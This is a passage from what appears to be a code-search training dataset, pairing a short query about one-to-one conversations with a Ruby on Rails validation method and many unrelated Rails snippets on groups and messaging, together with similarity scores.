format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group, :status => :created, :location => group_url(@group.id) + \".xml\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def example_group_started(notification)\n # there is a super method for this\n super(notification)\n doc = {\n 'type' => 'case',\n 'subtype' => 'describe',\n 'label' => \"#{notification.group.description}\",\n 'level' => @example_group_stack.size\n }\n @example_group_stack << example_group\n return doc\n end", "def create\n registration = @group.registrations.find_by_user_id(session[:user])\n \n participation = Participation.find_by_group_id_and_registration_id(@group.id,registration.id)\n\n @message = Message.new(params[:message])\n @message.participation_id = participation.id\n respond_to do |format|\n if @message.save\n flash[:notice] = 'Message was successfully created.'\n format.html { redirect_to message_url(@message) }\n format.xml { head :created, :location => message_url(@message) }\n format.js { }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors.to_xml }\n end\n end\n end", "def create_welcome_message_for(user)\n return unless user.concierge_id\n text = I18n.t('system_messages.welcome_topic')\n user.messages.create(text: text, author_id: user.concierge.id, is_system: true)\n end", "def create_default\n unless Category.exists?\n Category.create :name => 'Inbox', :description => 'Default category'\n end\n end", "def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end", "def default_message_options\n @default_message_options ||= {type: 'message'}\n end", "def create\n @group = Group.new(params[:group])\n @group.users << current_user\n \n respond_to do |format|\n if @group.save\n @group.groups_users.first.update_attribute :level, 2\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_group( group_name )\n check_user_pass\n # First we need to clean the group_name since jangosmtp only allows alphanumeric characters\n group_name.tr!('^A-Za-z0-9 ', '')\n options = {\n 'Username' => @username,\n 'Password' => @password,\n 'GroupName' => group_name\n }\n\n response = post_with_attempts( 'AddTransactionalGroup', options )\n if response != false\n new_group_id = Nokogiri::XML.parse(response.body).xpath(\"*\").first.content.split(\"\\n\")[2]\n end\n return new_group_id\n end", "def default_messages=(_arg0); end", "def on_tag_group_create( node, tag_group )\n\t\t\tself.log.debug \"unhandled on_tag_group_create: node %p now has tag group %p\" %\n\t\t\t \t[ node, tag_group ]\n\t\tend", "def create\n @group = Group.new(params[:group])\n @group.user = current_user\n\n respond_to do |format|\n if @group.save\n @group.add_member current_user\n flash[:notice] = '{object} was successfully {action}.'[:object_action_notice, \"Group\"[], \"created\"[]]\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @my_group_comment = GroupComment.new(params[:group_comment])\n\n @my_group_comment.group_member = GroupMember.where(:user_id => current_user.id, :group_id => @my_group_comment.group_id).first\n @group = Group.find @my_group_comment.group_id\n\n respond_to do |format|\n if @my_group_comment.save\n format.html { redirect_to([:my, @group], :notice => 'Kommentar gespeichert.') }\n format.xml { render :xml => @my_group_comment, :status => :created, :location => @my_group_comment }\n else\n format.html { redirect_to([:my, @group]) }\n format.xml { render :xml => @my_group_comment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def before_destroy\n default = Group.find(:first, \n :conditions => [\"template_id = ? and name = '_default'\", \n self.template_id])\n if (default.is_default?)\n self.fields.each do |f|\n f.group_id = default.id\n f.save\n end\n #trigger a save to (hopefully) refresh the data for AS\n default.save\n end\n end", "def flash_created_message\n flash_message_builder(:create, flash_status_type, 'created')\n end", "def create_group\n @group = Group.new(:name=>params[:group][:name],:user_id=>@login_user.id)\n @notice = @group.save ? \"Group created successfully.\":\"Group name already exist.\"\n\n respond_to do |format|\n format.js\n end\n end", "def initialize_defaults\n @messenger = @@default_messenger\n @message = Message.new\n end", "def create\n @group = Group.new(params[:group])\n if @group.save\n #@group.isGroupCreator(current_user.id) == 'true'\n render ('create')\n else\n render ('new')\n end\n end", "def create\n # @message = Message.new(message_params)\n # @message is built by CanCanCan\n respond_to do |format|\n if @message.save\n @message.notify(:commoners, group: @message.conversation) if @message.in_conversation?\n @message.notify(:commoners, group: @message.discussion) if @message.in_discussion?\n format.html { redirect_to success_path, notice: _('Message sent') }\n else\n @new_message = @message\n @messages = Message.where(messageable: messageable)\n format.html { render \"#{messageable.class.class_name.downcase.pluralize}/show\" }\n end\n end\n end", "def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:success] = \"Группа успешно добавлена.\"\n format.html { redirect_to @group }\n format.json { render json: @group, status: :created, location: @group }\n else\n flash.now[:error] = \"Группа с таким названием не может быть добавлена!\"\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_user_to_group(default_group)\n if default_group.present?\n default_group.split(',').each do |group_name|\n if group = Group.named(group_name).first\n group.users << @user\n elsif logger\n logger.warn \"MailHandler: could not add user to [#{group_name}], group not found\"\n end\n end\n end\n end", "def create\n render(status: :forbidden, text: 'Invalid message') and return if params[:message].blank? or params[:message][:content].blank?\n @channel = Channel.find(params[:channel_id])\n @message = @channel.messages.create(params.require(:message).permit(:content))\n @message.user_name = session[:user_name]\n\n if @message.save\n Pusher['presence-channel-' + params[:channel_id]].trigger('message_added', {message: {user_name: h(@message.user_name), content: view_context.auto_link(@message.content)}, time: @message.created_at.localtime.strftime('%H:%M')})\n render status: :created, body: nil\n else\n render status: :forbiden, text: 'The message can\\'t save'\n end\n end", "def init_personal_group\n group = Group.new(_id: id, is_personal:true, name: email)\n group.save\n\n self.current_group = group\n groups << group\n end", "def create\n @user.create_group!(new_group_params[:group_user_ids], {name: new_group_params[:name]})\n end", "def create\n ::ActiveRecord::Base.transaction do\n if group.save!\n membership = add_creator_as_group_admin!\n @side_effects << membership\n end\n end\n rescue ActiveRecord::RecordInvalid => _exception\n raise if group.valid?\n group\n end", "def create\n @group = Group.new(group_params)\n\n if @group.save\n render_json_message({:success => t('.success')}, 201, {id: @group.id})\n else\n render_json_message({:errors => @group.errors.messages}, 422)\n end\n\n end", "def set_form\n # find the maximum number of users possible\n @max_count = User.all.count\n # check if a message already exists\n if !(defined?(@message)).nil?\n @sender = @message.sender\n @reciever = @message.reciever\n else # else the message is then being created\n # set the sender as the user creating the message\n @sender = params[:user_id]\n # let user determine the reciever of his message\n @reciever = nil\n end\n \n end", "def create_group(group_name,group_uuid,classes = {},rule_term,parent_group)\n load_classifier\n groups = @classifier.groups\n @classifier.update_classes.update\n current_group = groups.get_groups.select { |group| group['name'] == group_name}\n if current_group.empty?\n cputs \"Creating #{group_name} group in classifier\"\n groups.create_group({\n 'name' => group_name,\n 'id' => group_uuid,\n 'classes' => classes,\n 'parent' => groups.get_group_id(\"#{parent_group}\"),\n 'rule' => rule_term\n })\n else\n cputs \"NODE GROUP #{group_name} ALREADY EXISTS!!! Skipping\"\n end\nend", "def create\n @group = Group.new(group_params)\n respond_to do |format|\n if @group.save\n @group.users.push(current_user)\n UserGroup.set_is_admin(@group.id, current_user.id, true)\n invite_members\n format.html { redirect_to @group, notice: t('flash.notice.groups.successfully_created') }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_default_group_membership!\n return if guest?\n return if Account.global_tenant?\n\n Hyrax::Group.find_or_create_by!(name: Ability.registered_group_name).add_members_by_id(id)\n end", "def group\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def create(id, user_id, name)\n user = get_user(user_id)\n group = Group.new(id, user.id, name)\n @@group[id] = group\n group.add(user.id)\n return \"Group Created\"\n end", "def create_notification; end", "def create\n\n message = Message.new(message_params)\n message.user = current_user\n if message.content.blank? && !message.file.url.nil?\n message.content = \"Attachment\"\n end\n respond_to do |format|\n if message.save\n message.chatroom.users.uniq.each do |user|\n notification = Notification.where(user: user, notification_type: \"New Message\", notification_object_id: message.chatroom.id).first\n if notification.nil?\n notification = Notification.create!(user: user, notification_type: \"New Message\", notification_object_id: message.chatroom.id, read: false)\n else\n notification.read = false\n notification.save\n end\n end\n format.html {chatroom_path(message.chatroom)}\n else\n format.html {chatroom_path(message.chatroom) }\n end\n end\n\n end", "def atomic_create\n @room.messages_requested.increment do |messages_requested|\n @room.send_message_to_requested_channel(messages_requested)\n if messages_requested <= @room.max_messages\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n if @message.save\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end\n end", "def create_discussion_group\n @other_user=@login_user\n @discussion_groups = @login_user.discussion_groups\n @discussion_group = DiscussionGroup.new(:name => params[:discussion_group][:name], :user_id => @login_user.id, :description => params[:discussion_group][:description], :is_public => params[:discussion_group][:is_public])\n @notice = @discussion_group.save ? \"Group created successfully.\": activerecord_error_list(@discussion_group.errors)\n group_user = DiscussionGroupUser.create(:user_id=>@login_user.id,:discussion_group_id=>@discussion_group.id,:is_member=>true) if @discussion_group.save\n\n respond_to do |format|\n format.js\n end\n end", "def create\n @group = Group.new(params[:group])\n @group.user_id = current_user.id\n if @group.save\n flash[:notice] = \"Grupo creado exitosamente.\"\n redirect_to groups_path\n else\n render :action => 'new'\n end\n end", "def build_message\n @subject = RecipientsFor::Subject.new\n @content = RecipientsFor::Content.new\n end" ]
[ "0.6610715", "0.6553855", "0.6473169", "0.6460432", "0.6399084", "0.6390135", "0.6381072", "0.6350813", "0.6350813", "0.62970865", "0.6278066", "0.62121356", "0.6178017", "0.6157355", "0.6081889", "0.6061881", "0.60579675", "0.60546786", "0.6052238", "0.60520756", "0.6043146", "0.60403246", "0.6029005", "0.6022015", "0.6004661", "0.59767765", "0.59500647", "0.5944449", "0.5944308", "0.59266526", "0.5918903", "0.5916426", "0.5892432", "0.5877943", "0.5875191", "0.58573425", "0.5855718", "0.58497435", "0.5844705", "0.5829146", "0.5811353", "0.57990104", "0.5791599", "0.5787678", "0.5782795", "0.57815194", "0.57672894", "0.5747353", "0.57467294", "0.5744753", "0.5726007", "0.57235956", "0.57088417", "0.5706943", "0.56985074", "0.5695586", "0.5695231", "0.5683164", "0.5679559", "0.56780106", "0.5676771", "0.5676552", "0.5673362", "0.56663215", "0.56629145", "0.5660818", "0.56589645", "0.56560737", "0.5652022", "0.56487703", "0.56409883", "0.5640701", "0.5635908", "0.5632191", "0.5624875", "0.5624144", "0.5622826", "0.5618204", "0.56169796", "0.5615746", "0.5615069", "0.56105876", "0.5595968", "0.5594482", "0.5590743", "0.5588782", "0.55875224", "0.55833524", "0.5580851", "0.55805403", "0.55496275", "0.55410045", "0.55409205", "0.55393106", "0.5538734", "0.55386937", "0.5536647", "0.55322194", "0.5523534", "0.552345" ]
0.75084144
0
only for single conversations
def verify_members conversation_members << conversation_members.new(user_id: owner_id, is_admin: true) errors.add(:base, "Required two members to create a 1 to 1 conversation.") if !is_group_conversation? && ((new_members || []) + [owner_id]).delete_empty.map(&:to_i).uniq.count < 2 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def conversations\n Conversation.where(\"sender_id = ? or recipient_id = ?\",self.id,self.id)\n end", "def conversation\n @conversation ||= mailbox.conversations.find(params[:id])\n end", "def conversation\n @conversation ||= mailbox.conversations.find(params[:id])\n end", "def conversations\n Conversation.where(\"sender_id = ? OR recipient_id = ?\", id,id)\n end", "def particular_conversation\n @this_conversation = Conversation.find(params[:id])\n end", "def conversation\n Conversation\n .where(\"creator_id = ? or member_id = ?\", user_id, user_id)\n .order(\"latest_message_id DESC\").first\n end", "def get_conversation(user)\n cnv = self.conversations.where(id: user.conversations.where(multiple_users_flag: false).select(:id), multiple_users_flag: false).first\n if cnv.nil?\n cnv = Conversation.create(cnv_users: [self.id, user.id], name: user.name, multiple_users_flag: false)\n end\n return cnv\n end", "def fetch_conversation_if_exists\n # all members phone numbers should be included to do a proper lookup\n numbers = parsed_phones + [inviter.phone_normalized]\n inviter.conversations.find_by_phones(numbers).first\n end", "def has_conversation?(conversation_id)\r\n self.conversations.has_key?(conversation_id.to_s)\r\n end", "def show\n @conversation = Conversation.find(params[:id])\n @reciever = interlocutor(@conversation)\n @messages = @conversation.messages.sort_by(&:created_at)\n @message = Message.new\n @admin = current_user.admin\n if @admin\n @conversations = Conversation.where(\"recipient_id = ?\", current_user.id)\n else\n @conversation.update_column(\"open\",true)\n end\n end", "def show\n if user_signed_in?\n @message_has_been_sent = conversation_exist?\nend\n end", "def find_conversation!\n if params[:receiver_id]\n @receiver = User.find_by(id: params[:receiver_id])\n @conversation = Conversation.between(current_user.id, @receiver.id)[0]\n if @conversation\n redirect_to conversation_personal_messages_path(@conversation)\n else\n @conversation = Conversation.create(params.permit(:author_id, :receiver_id))\n redirect_to conversation_personal_messages_path(@conversation)\n end\n else\n @conversation = Conversation.find_by(id: params[:conversation_id])\n # redirect_to(root_path) unless @conversation && @conversation.participates?(current_user)\n end\nend", "def check_for_spamming\n #first check if it is a new conversation\n if !params[:message][:conversation_id]\n if current_user.conversations.recent.count < 5 #max 5 new convos/hour\n false\n else\n true\n end\n else\n false #limit_replies\n end\n end", "def index\n @messages = @conversation.messages\n @messages.where(\"user_id != ? AND read = ?\", current_user.id, false).update_all(read: true)\n if @conversation.sender == current_user\n @msg_not = @conversation.recipient\n else\n @msg_not = @conversation.sender\n end\n if current_user != @conversation.sender \n if current_user != @conversation.recipient\n redirect_to conversations_path\n end\n end\n @message = @conversation.messages.new\n end", "def conversated?\n session[:conversations].include?(@conversation.id)\n end", "def get_messages\n if Conversation.previous_talks(params[:sender_id],params[:recipient_id]).present?\n @conversation = Conversation.previous_talks(params[:sender_id],params[:recipient_id]).first\n else\n @conversation = Conversation.create!(conversation_params)\n end\n end", "def show\n puts \"############ messages show ###############\"\n @message = current_user.messages.find_by_id(params[:id])\n if !@message.nil?\n @conversations = @message.conversations.includes(:sender => [:profile, :profile_photo])\n\n @message_status = @message.message_statuses.find_by_user_id(current_user)\n latest_conversation = @message_status.start_at\n if @message_status.start_at == nil\n @conversations = @message.conversations.includes(:sender => [:profile, :profile_photo])\n else\n @conversations = @message.conversations.where(\"id > ?\", latest_conversation).includes(:sender => [:profile, :profile_photo])\n end\n if !@message_status.nil?\n if @message_status.status == MessageStatus::UNREAD\n @message_status.status = MessageStatus::READ\n @message_status.save!\n end\n else\n flash[:error] = \"Message is not found\"\n return redirect_to messages_path\n end\n @reply_conversation = Conversation.new\n @reply_conversation.content = nil\n else\n flash[:error] = \"Message is not found\"\n return redirect_to messages_path\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def index\n # check if this current_user are involved in conversation\n if current_user == @conversation.sender || current_user == @conversation.recipient\n @other = current_user == @conversation.sender ? @conversation.recipient : @conversation.sender\n\n # 送信先のユーザー名を取得\n if current_user == @conversation.sender\n @recipient_user_name = @conversation.recipient.name\n else\n @recipient_user_name = @conversation.sender.name\n end\n\n @messages = @conversation.messages.order(\"created_at DESC\")\n else\n redirect_to conversations_path, alert: \"他人のメッセージにアクセスできません\"\n end\n\n end", "def index\n # @conversations = Conversation.all\n @conversations = current_user.conversations\n end", "def can_reply_to(conversation)\n true\n end", "def index\n @conversations = current_profile.conversations\n\n end", "def conversation\n message.conversation if message.is_a? Mailboxer::Message\n end", "def conversation\n message.conversation if message.is_a? Mailboxer::Message\n end", "def index\n @conversations = current_user.conversations\n end", "def set_conversation\n @conversation = Conversation.where(featured: true).find(params[:id])\n end", "def show\n @conversation = Conversation.where(id: params[:id])[0]\n end", "def create \n # If there is an existing conversation between the 2 parties, then the database is queried for the previous conversation and it is displayed. \n if Conversation.between(params[:sender_id], params[:recipient_id]).present?\n @conversation = Conversation.between(params[:sender_id], params[:recipient_id]).first\n else\n #if there is no conversation between the two parties, then the beloew line will create a new conversation\n @conversation = Conversation.create!(conversation_params)\n end\n redirect_to conversation_messages_path(@conversation)\n end", "def conversation_id\n return @conversation_id\n end", "def conversation_id\n return @conversation_id\n end", "def content\n $admin = User.where(\"admin = ? AND signed_in = ?\", true, true).first\n if $admin.nil?\n $admin = User.where(\"admin = ?\", true).first\n end\n if not $admin.nil?\n $conversation = Conversation.between(current_user.id,$admin.id).first\n end\n if $conversation.nil? and not $admin.nil?\n $conversation = Conversation.create(sender_id: current_user.id, recipient_id: $admin.id)\n end\n if not $conversation.nil?\n gon.open = $conversation.open\n end\n end", "def index\n #find the current user object\n @user = User.find(session[:user_id])\n #get the id of current user\n user_id = User.find(session[:user_id]).id\n #get all conversations of current user\n @started_conversations = @user.started_conversations\n @joined_conversations = @user.joined_conversations\n end", "def set_conversations\n if current_user == @listing.seller\n @conversations = @listing.conversations\n else\n @conversations = @listing.conversations.between(@listing.seller, current_user)\n if @conversations.empty? \n @conversations = create_conversation\n end\n end\n end", "def index\n @messages = @conversation.messages.includes(:user).order('created_at ASC').page(1)\n\n conversation_user = ConversationUser.find_by(conversation: @conversation, user: current_user)\n @message = conversation_user.messages.build\n\n authorize @message\n @other = @conversation.users.find_by('users.id != ?', current_user.id)\n end", "def index\n\t\t@conversations = current_user.mailbox.conversations\n\tend", "def get_conversations\n n = Notification.where(user_id:current_user)\n conversation_ids = Array.new\n n.each do |v|\n conversation_ids << v.conversation_id\n end\n conversations = Conversation.where(id:conversation_ids)\n\n end", "def set_conversation\n\t\t@conversation = Conversation.find(params[:id])\n\tend", "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def usr_msg? convo, usr\n (usr.id == convo.user_id && convo.status == 'active') || (usr.id == convo.recipient_id && convo.recipient_status == 'active')\n end", "def get_specific_conversations usr, c_type \n conv_ids = Array.new\n convos = Conversation.get_conversations(usr)\n convos.find_each do |convo|\n convo.posts.find_each do |post|\n if (c_type == \"received\" && post.recipient_id == usr.id && post.recipient_status == 'active') ||\n (c_type == \"sent\" && post.user_id == usr.id && post.status == 'active')\n conv_ids << convo.id if usr_msg?(convo, usr); break\n end\n end\n end\n return convos.where([\"id in (?)\", conv_ids]).sort_by {|x| x.posts.last.created_at }.reverse \n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def conversation\n @user = User.find(params[:id])\n @messages = Message.find(:all, :conditions => [\"((messages.user_id = #{current_user.id} and messages.receiver_id = #{params[:id]}) and messages.user_status != 'deleted') or ((messages.receiver_id = #{current_user.id} and messages.user_id = #{params[:id]}) and messages.receiver_status != 'deleted')\"], :order => \"created_at Desc\")\n for message in @messages\n if message.receiver_id == current_user.id\n message.update_attribute(:receiver_status, \"read\") if message.receiver_status == \"unread\"\n end\n end\n respond_to do |format|\n format.xml { render :xml => @messages }\n format.json { render :json => @messages }\n end\n end", "def saveConversations\n user = User.find(params[:id])\n conversation = Conversation.find_by_name(params[:conversation])\n\n userConversation = user.conversations.where(:name => conversation.name).first\n\n if userConversation.blank?\n user.conversations << conversation\n success = true\n else \n success = false\n end\n\n respond_to do |format|\n format.json {render :json => {:success => success}}\n end\n end", "def system_conversations\n system.conversations\n end", "def get_conversation(id)\n get(\"conversations/#{id}\")\n end", "def counseling_conversations\n Conversation.single_conversations_between(id, User.all_mentors.pluck(:id) - [id])\n end", "def show\n if @message = Message.find_by_id(params[:id]) and @conversation = @message.conversation\n if @conversation.is_participant?(@user)\n redirect_to conversation_path(@conversation, :box => @box, :anchor => \"message_\" + @message.id.to_s)\n return\n end\n end\n redirect_to conversations_path(:box => @box)\n end", "def index\n @conversations = Conversation.where(contype: \"OneToMany\", sender_id: current_member.id).order(name: :asc)\n end", "def show\n @conversation = Conversation.find(params[:id])\n end", "def in_conversation? person = nil\n\t\treturn mode? :conversation if (person.nil?)\n\t\treturn @in_conversation if (person && person.is?(:person) && mode?(:conversation))\n\t\treturn nil\n\tend", "def match_availability_message_to_convo\n if conversation_id.nil? && !availability_id.nil?\n conversation = Conversation.where(availability_id: availability_id).first\n if conversation.nil?\n conversation = Conversation.create(availability_id: availability_id, name: \"Teaching #{availability.start_time.strftime('%H:%M %d/%m/%Y')}\")\n availability.availability_users.each do |join|\n conversation.conversation_members.create!(user: join.user, admin: join.admin)\n end\n end\n self.conversation = conversation\n end\n end", "def show\n @conversations = @ticket.conversations\n end", "def create\n\n=begin \n if Conversation.between(params[:sender_id], params[:recipient_id]).present?\n @conversation = Conversation.between(params[:sender_id], params[:recipient_id]).first\n else # If conversation is not present\n @conversation = Conversation.create!(conversation_params)\n end\n=end\n sender_id = params[:sender_id]\n recipient_id = params[:recipient_id]\n \n @conversation = MessagingService::Message.\n get_conversation(\n sender_id: sender_id, \n recipient_id: recipient_id, \n conversation_params: params\n ).conversation\n render json: { conversation_id: @conversation.id }\n end", "def add_to_conversations\n session[:conversations] ||= []\n session[:conversations] << @conversation.id\n end", "def set_conversation\n @conversation = Conversation.find(params[:id])\n end", "def new\n c = Conversation.where(\"(sender_id = ? and receiver_id = ?) or (sender_id = ? and receiver_id = ?)\", current_user, params[:receiver_id], params[:receiver_id], current_user)\n if c == nil\n #Initiate new conversation with this person\n c = current_user.conversations.create(sender_id: current_user, receiver_id: params[:receiver_id])\n c.messages.new(sender_id: current_user, receiver_id: params[:receiver_id])\n else\n c.messages.new(sender_id:current_user, receiver_id: params[:receiver_id])\n end\n end", "def index\n if current_user.seller?\n @conversations = current_user.seller.company.conversations\n else\n @conversations = current_user.conversations\n end\n end", "def set_conversation\n @issue = Conversation.find(params[:id])\n end", "def messaging\n end", "def has_conversation?(conversation)\n return mail_count(:all, :conversation => conversation) != 0\n end", "def create\n #binding.pry\n if @conversation = Conversation.between(current_profile.id, params[:receiver_id]).first\n #@conversation = Conversation.between(params[:sender_id],params[:receiver_id]).first\n else\n @conversation = Conversation.create!(sender_id: current_profile.id, receiver_id: params[:receiver_id])\n end\n\n Message.create!(body: params[:body], profile_id: current_profile.id, conversation_id: @conversation.id )\n redirect_to :back\n end", "def conversation\n current_user_id = current_user.id\n other_user_id = params[:id]\n @messages = Message.get_conversation(current_user_id, other_user_id)\n render json: @messages\n end", "def show\n @conversation = current_user.mailbox.conversations.find(params[:id])\n @conversation.mark_as_read(current_user)\n\n respond_with(@conversation)\n end", "def create\n message = ConversationMessage.new(message_params.merge(conversation_id: @conversation.id))\n message.userable = get_current_user\n if message.save\n # current_conversation = message.conversation\n # @conversations = Conversation.send(current_conversation.topic).all_onversations(current_user).paginate(page: params[:page], per_page: 10)\n # @conversations << current_conversation\n # @conversations = @conversations.uniq\n @conversation.chatable.groupables.each do |gm|\n ActionCable.server.broadcast \"Message_#{gm.groupable_type}_#{gm.groupable_id}\",\n msg_id: message.id,\n # msg: message_content,\n msg: message.body,\n img_alt: \"#{message.userable.first_name[0]&.capitalize || 'N'}.#{message.userable.last_name[0]&.capitalize || 'A'}\",\n sender_name: message.userable.full_name.capitalize,\n file_url: message.file_url || '',\n msg_url: message.userable.photo,\n msg_time: message.created_at.strftime('%l:%M%P'),\n # msg_att: message.attachment_file,\n # msg_att_name: message.file_name,\n usr_typ: message.userable.class.to_s,\n usr: message.userable.id,\n recpt_type: gm.groupable_type,\n recpt_id: gm.groupable_id,\n unread_msg_cnt: 0, # Conversation.joins(:conversation_messages).where(\"(senderable_type = ? AND senderable_id = ? ) OR (recipientable_type = ? AND recipientable_id = ?)\", recipient.class.to_s, recipient.id, recipient.class.to_s, recipient.id).where.not(conversation_messages: {is_read: true, userable: recipient}).uniq.count,\n con_id: @conversation.id,\n chat_typ: 'Group',\n grp_id: @conversation.chatable.id,\n dom: \"#conversation_#{@conversation.id}\"\n end\n end\n head :ok\n end", "def create\n @message = Message.new(message_params)\n @message.user_id = current_user.id\n user1 = User.where(:email => params[:message][:email]).first\n # if user1\n # else\n # redirect_to root_url, :flash => {:error => \"No user with the email #{session[:email]} exists.\"}\n # return\n # end \n convo = Conversation.where(:sender_id => current_user.id)\n if convo\n convo = convo.where(:recipient_id => user1.id).first\n end \n if convo\n @message.conversation_id = convo.id\n else\n convo2 = Conversation.new\n convo2.sender_id = current_user.id\n convo2.recipient_id = user1.id\n convo2.save\n @message.conversation_id = convo2.id\n end\n @message.save\n redirect_to \"/conversations\" \n end", "def show\n if @message = Message.find_by_id(params[:id]) and @conversation = @message.conversation\n if @conversation.is_participant?(@actor)\n redirect_to conversation_path(@conversation, :box => @box, :anchor => \"message_\" + @message.id.to_s)\n return\n end\n end\n redirect_to conversations_path(:box => @box)\n end", "def creator_conversation_ids\n self.creator ?\n self.creator.conversation_ids + self.creator.created_conversation_ids : []\n end", "def index\n @conversations = Conversation.involving(current_user)\n conversations_new_message = Array.new\n unread = 0\n\n @conversations.each do |conversation|\n conversation.last_message = ActionView::Base.full_sanitizer.sanitize(conversation.messages.order('created_at').last.body[0..75])\n conversation.last_message_date = conversation.messages.order('created_at').last.created_at\n conversation.count_unread = conversation.messages.unread(conversation.id, current_user).size\n\n size = conversation.messages.unread(conversation.id, current_user).size\n if size > 0\n conversations_new_message.push(conversation)\n unread = unread + size\n end\n\n @subs=current_user.subscribtions\n end\n\n conversations_new_message.each do |conversation|\n set_messages_receive(conversation, false)\n end\n\n if unread > 0\n if unread == 1\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_message')\n else\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_messages')\n end\n end\n\n @invites = Invite.by_recipient_id(current_user.id).order('id');\n\n\n end", "def show\n\t\tif @message = Message.find_by_id(params[:id]) and @conversation = @message.conversation\n\t\t\tif @conversation.is_participant?(@actor)\n\t\t\t\tredirect_to conversation_path(@conversation, :box => @box, :anchor => \"message_\" + @message.id.to_s)\n\t\t\treturn\n\t\t\tend\n\t\tend\n\tend", "def create \n unless @conversation \n @conversation = Conversation.create(params.permit(:author_id, :receiver_id))\n end\n redirect_to conversation_personal_messages_path(@conversation)\n end", "def show\n @user = User.find(params[:id])\n\n $admin = User.where(\"admin = ? AND signed_in = ?\", true, true).first\n if $admin.nil?\n $admin = User.where(\"admin = ?\", true).first\n end\n $conversation = Conversation.between(current_user.id,$admin.id).first\n if $conversation.nil?\n $conversation = Conversation.create(sender_id: current_user.id, recipient_id: $admin.id)\n end\n gon.open = $conversation.open\n end", "def replied_conv? usr\n ConversationProcessor.new(self).replied_conv? usr\n end", "def set_conversation_message\n @conversation_message = ConversationMessage.find(params[:id])\n end", "def show\n @conversation = current_user.conversations.find(params[:conversation_id])\n render json: @conversation.as_json()\n end", "def index\n #@messages = Message.all\n #@messages = current_owner.messages\n @users = current_owner.conversation_users\n end", "def show\n unless params[:conversation_id]\n render json: { success: 'no', msg: 'not enough info' }\n return\n end\n if !Direct.exists?(conversation_id: params[:conversation_id]) & !Group.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'convo does not exist' }\n return\n end\n unless Message.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'no messages' }\n return\n end\n\n allMsgs = Array.new\n Message.where(conversation_id: params[:conversation_id]).find_each do |message|\n senderNickname = UserProfile.find_by(user_id: message.sender_id).nick_name\n senderEmail = User.find_by(user_id: message.sender_id).email\n output = { :conversation_id => message.conversation_id, :sender_nickname => senderNickname , :sender_email => senderEmail, :message_body => message.message_body, :updated_at => message.updated_at }\n\n allMsgs.push(output)\n end\n\n render json: { success: 'ok', messageList: allMsgs }\n end", "def show\n @conversation = Conversation.new\n end", "def conversations\n object.conversations.map {|a| ConversationSerializer.new(a).as_json }\n end", "def edit\n # current_user.id = 25\n # Si le get précise la fermeture d'une conversation\n if !params[:conversation_to_close_id].nil?\n @conversation_to_close = Conversation.find(params[:conversation_to_close_id])\n @conversation_to_close.finished!\n redirect_to message_path\n end\n\n # Si le get précise la publication d'une conversation\n if !params[:conversation_to_publish_id].nil?\n # On va voir lequel des interlocuteur clos la conversation_id\n @conversation_to_publish = Conversation.find(params[:conversation_to_publish_id])\n \n @conversation_to_publish.publish(current_user.id)\n redirect_to message_path\n end\n # @\n\n end", "def private_conv_recipient(conversation)\n conversation.opposed_user(current_user)\n end", "def show\n @message = @message\n @parent = Message.find_by_id(@reply_message_id)\n\n if @message.is_system_notification != 1\n @id = []\n @id << @message.user_id.to_s && @id << @message.to_user_id.to_s\n if !@id.include?(@current_user.id.to_s)\n redirect_to \"/contact_us\"\n end\n else\n @to_user_id_array = @message.to_user_id.split(\",\")\n if !@to_user_id_array.include?(@current_user.id.to_s)\n redirect_to 